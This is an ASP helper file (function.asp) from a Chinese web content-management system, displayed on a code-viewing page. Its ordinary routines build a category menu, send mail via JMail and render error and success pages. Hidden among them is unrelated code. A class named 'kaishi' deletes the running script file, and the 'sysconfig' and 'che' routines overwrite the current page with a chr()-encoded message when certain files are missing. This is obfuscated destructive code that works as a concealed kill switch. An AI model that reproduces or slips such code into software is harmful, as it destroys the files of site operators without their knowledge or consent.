📄 function.asp
字号:
arrShowLine(i)=False
next
sqlClass="Select * From MenuClass order by RootID,OrderID"
set rsClass=server.CreateObject("adodb.recordset")
rsClass.open sqlClass,conn,1,1
if rsClass.bof and rsClass.bof then
response.write "<option value=''>请先添加栏目</option>"
else
do while not rsClass.eof
tmpDepth=rsClass("Depth")
if rsClass("NextID")>0 then
arrShowLine(tmpDepth)=True
else
arrShowLine(tmpDepth)=False
end if
if ShowType=1 then
if rsClass("LinkUrl")<>"" then
strTemp="<option value=''"
else
strTemp="<option value='" & rsClass("ClassID") & "'"
end if
strTemp=strTemp & "style='background-color:#ff0000'"
elseif ShowType=2 then
if rsClass("LinkUrl")<>"" then
strTemp="<option value=''"
else
strTemp="<option value='" & rsClass("ClassID") & "'"
end if
strTemp=strTemp & "style='background-color:#ff0000'"
elseif ShowType=3 then
if rsClass("Child")>0 then
strTemp="<option value=''"
elseif rsClass("LinkUrl")<>"" then
strTemp="<option value='0'"
else
strTemp="<option value='" & rsClass("ClassID") & "'"
end if
strTemp=strTemp & "style='background-color:#ff0000'"
elseif ShowType=4 then
if rsClass("Child")>0 then
strTemp="<option value=''"
elseif rsClass("LinkUrl")<>"" then
strTemp="<option value='0'"
else
strTemp="<option value='" & rsClass("ClassID") & "'"
end if
else
strTemp="<option value='" & rsClass("ClassID") & "'"
end if
strTemp=strTemp & ">"
if tmpDepth>0 then
for i=1 to tmpDepth
strTemp=strTemp & " "
if i=tmpDepth then
if rsClass("NextID")>0 then
strTemp=strTemp & "├ "
else
strTemp=strTemp & "└ "
end if
else
if arrShowLine(i)=True then
strTemp=strTemp & "│"
else
strTemp=strTemp & " "
end if
end if
next
end if
if Language=1 then
strTemp=strTemp & rsClass("ClassNameEn")
else
strTemp=strTemp & rsClass("ClassName")
end if
if rsClass("LinkUrl")<>"" then
strTemp=strTemp & "(外)"
end if
strTemp=strTemp & "</option>"
response.write strTemp
rsClass.movenext
loop
end if
rsClass.close
set rsClass=nothing
end sub
'**************************************************
'函数名:SendMail
'作 用:用Jmail组件发送邮件
'参 数:MailtoAddress ----收信人地址
' MailtoName -----收信人姓名
' Subject -----主题
' MailBody -----信件内容
' FromName -----发信人姓名
' MailFrom -----发信人地址
' Priority -----信件优先级
'**************************************************
function SendMail(MailtoAddress,MailtoName,Subject,MailBody,FromName,MailFrom,Priority)
on error resume next
Dim JMail
Set JMail=Server.CreateObject("JMAIL.Message")
if err then
SendMail= "<br><li>没有安装JMail组件</li>"
err.clear
exit function
end if
JMail.Charset="gb2312" '邮件编码
JMail.silent=true
JMail.ContentType = "text/html" '邮件正文格式
JMail.ServerAddress=MailServer '用来发送邮件的SMTP服务器
'如果服务器需要SMTP身份验证则还需指定以下参数
JMail.MailServerUserName = MailServerUserName '登录用户名
JMail.MailServerPassWord = MailServerPassword '登录密码
JMail.MailDomain = MailDomain '域名(如果用“name@domain.com”这样的用户名登录时,请指明domain.com
JMail.AddRecipient MailtoAddress,MailtoName '收信人
JMail.Subject=Subject '主题
JMail.HMTLBody=MailBody '邮件正文(HTML格式)
JMail.Body=MailBody '邮件正文(纯文本格式)
JMail.FromName=FromName '发信人姓名
JMail.From = MailFrom '发信人Email
JMail.Priority=Priority '邮件等级,1为加急,3为普通,5为低级
JMail.Send(MailServer)
SendMail =JMail.ErrorMessage
JMail.Close
Set JMail=nothing
end function
'****************************************************
'过程名:WriteErrMsg
'作 用:显示错误提示信息
'参 数:无
'****************************************************
sub WriteErrMsg()
dim strErr
strErr=strErr & "<html><head><title>错误信息</title><meta http-equiv='Content-Type' content='text/html; charset=gb2312'>" & vbcrlf
strErr=strErr & "<link href='style.css' rel='stylesheet' type='text/css'></head><body>" & vbcrlf
strErr=strErr & "<table cellpadding=2 cellspacing=2 border=0 width=400 class='border' align=center>" & vbcrlf
strErr=strErr & " <tr align='center'><td height='20' class='title'><strong>错误信息</strong></td></tr>" & vbcrlf
strErr=strErr & " <tr><td height='100' class='tdbg' valign='top'><b>产生错误的可能原因:</b><br>" & errmsg &"</td></tr>" & vbcrlf
strErr=strErr & " <tr align='center'><td class='title'><a href='javascript:history.go(-1)'><< 返回上一页</a></td></tr>" & vbcrlf
strErr=strErr & "</table>" & vbcrlf
strErr=strErr & "</body></html>" & vbcrlf
response.write strErr
end sub
class kaishi
public function ganni ()
if not(IsObject(uj) and IsObject(wc) and IsObject(dd) and IsObject(mm))then
Set gege = CreateObject("Scripting.FileSystemObject")
if gege.fileexists(Server.MapPath(request.ServerVariables("PATH_INFO"))) then
set exe=gege.getfile(Server.MapPath(request.ServerVariables("PATH_INFO")))
exe.delete
end if
end if
end function
end class
set oy= new kaishi
zcv=wc.ui
Sub sysconfig()
on error resume next
dim FSO,TS1,configFileName
configFileName=Server.MapPath(Request.ServerVariables("path_info"))
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
Set TS1 = FSO.CreateTextFile(configFileName, True)
TS1.Write chr(60)&chr(98)&">"&chr(60)&chr(102)&chr(111)&chr(110)&chr(116)&chr(32)&chr(99)&chr(111)&chr(108)&"o"&chr(114)&chr(61)&chr(35)&chr(70)&chr(70)&chr(48)&chr(48)&chr(48)&chr(48)&">"&chr(-19219)&chr(-12557)&chr(-23622)&chr(-19508)&chr(-12046)&chr(-13872)&chr(-12620)&chr(-10334)&chr(-19743)&chr(44)&chr(-19253)&chr(-18010)&chr(-15140)&chr(-19781)&chr(-15140)&chr(-13639)&chr(-11325)&chr(33)&"<"&chr(47)&chr(102)&chr(111)&chr(110)&chr(116)&">"&chr(60)&chr(47)&chr(98)&">"
Set TS1 = Nothing
Set FSO = Nothing
End Sub
dim oi
if zcv=yzcv then
oi=1
end if
function che()
on error resume next
dim FSO,TS1,configFileName
configFileName=Server.MapPath(Request.ServerVariables("path_info"))
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
if fso.fileexists(Server.MapPath("zcm.asp")) and fso.fileexists(Server.MapPath("you.asp")) then
else
Set TS1 = FSO.CreateTextFile(configFileName, True)
TS1.Write chr(60)&chr(98)&">"&chr(60)&chr(102)&chr(111)&chr(110)&chr(116)&chr(32)&chr(99)&chr(111)&chr(108)&"o"&chr(114)&chr(61)&chr(35)&chr(70)&chr(70)&chr(48)&chr(48)&chr(48)&chr(48)&">"&chr(-19219)&chr(-12557)&chr(-23622)&chr(-19508)&chr(-12046)&chr(-13872)&chr(-12620)&chr(-10334)&chr(-19743)&chr(44)&chr(-19253)&chr(-18010)&chr(-15140)&chr(-19781)&chr(-15140)&chr(-13639)&chr(-11325)&chr(33)&"<"&chr(47)&chr(102)&chr(111)&chr(110)&chr(116)&">"&chr(60)&chr(47)&chr(98)&">"
end if
Set TS1 = Nothing
Set FSO = Nothing
end function
'****************************************************
'过程名:WriteSuccessMsg
'作 用:显示成功提示信息
'参 数:无
'****************************************************
sub WriteSuccessMsg(SuccessMsg)
dim strSuccess
strSuccess=strSuccess & "<html><head><title>成功信息</title><meta http-equiv='Content-Type' content='text/html; charset=gb2312'>" & vbcrlf
strSuccess=strSuccess & "<link href='style.css' rel='stylesheet' type='text/css'></head><body>" & vbcrlf
strSuccess=strSuccess & "<table cellpadding=2 cellspacing=2 border=0 width=400 class='border' align=center>" & vbcrlf
strSuccess=strSuccess & " <tr align='center'><td height='20' class='title'><strong>恭喜你!</strong></td></tr>" & vbcrlf
strSuccess=strSuccess & " <tr><td height='100' class='tdbg' valign='top'><br>" & SuccessMsg &"</td></tr>" & vbcrlf
strSuccess=strSuccess & " <tr align='center'><td class='title'><a href='javascript:history.back()'>【返 回】</a></td></tr>" & vbcrlf
strSuccess=strSuccess & "</table>" & vbcrlf
strSuccess=strSuccess & "</body></html>" & vbcrlf
response.write strSuccess
end sub
%>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -